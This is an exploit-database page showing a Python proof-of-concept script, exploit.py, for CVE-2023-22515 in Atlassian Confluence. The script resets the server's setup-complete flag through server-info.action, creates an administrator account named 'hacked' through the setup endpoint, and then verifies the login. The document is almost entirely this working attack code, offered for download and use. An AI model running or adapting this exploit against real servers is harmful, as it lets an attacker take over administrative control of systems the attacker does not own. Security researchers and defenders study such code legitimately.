Exploit database

GH-7468241acb71b3d19fae505c8fa9392c

kh4sh3i/cve-2023-22515

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-22515

23 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
kh4sh3i/cve-2023-22515Revision a76a9686adc4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 3,039 bytes
import json
import fire
import requests
from rich import print

from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor

HEADERS = {
    "X-Atlassian-Token": "no-check",
    "User-Agent": "https://github.com/kh4sh3i/CVE-2023-22515"
}

requests.packages.urllib3.disable_warnings()

class attack:
    def __init__(self, base_url):
        self.base_url = base_url
        self.username = "hacked"
        self.password = "hacked"

    def send_request(self, method, url, auth=None, data=None):
        try:
            response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data)
            return response.status_code, response.text
        except requests.exceptions.RequestException as e:
            print(f"[[bold red]ERROR[/bold red]] Request error for {url}: {str(e)}", style="red")
            return None, None

    def check_authentication(self):
        auth = (self.username, self.password)
        url = f"{self.base_url}/rest/api/user?username={self.username}"
        status, response = self.send_request("GET", url, auth=auth)

        if status == 200:
            return True
        else:
            return False

    def exploit(self):
        success_message = None

        if not self.trigger_vulnerability():
            error_message = f"[bold red][-][/bold red] not vulnerable!"
        elif not self.create_admin_account():
            error_message = f"[bold red][-][/bold red] Failed to create a new administrator "
        elif self.check_authentication():
            success_message = f"[bold green][*][bold white] Successfully exploited "
        else:
            error_message = f"[bold red][-][/bold red] Failed to authenticate "

        if success_message:
            return success_message
        else:
            return error_message

    def trigger_vulnerability(self):
        status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
        return status == 200

    def create_admin_account(self):
        data = {
            "username": self.username,
            "fullName": self.username,
            "email": f"{self.username}@localhost",
            "password": self.password,
            "confirm": self.password,
            "setup-next-button": "Next"
        }

        status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data)
        if status == 200:
            print(f"[[bold yellow]*[/bold yellow]] Username: {self.username}")
            print(f"[[bold yellow]*[/bold yellow]] Password: {self.password}")
        else:
            print("[bold red][-][/bold red] Failed to create a new administrator")
            if response:
                print(f"[[bold yellow]INFO[/bold yellow]] Error response")

        return status == 200



class code:
    def __init__(self,url):
        attack(url).exploit()
        exit()


if __name__ == "__main__":
    fire.Fire(code)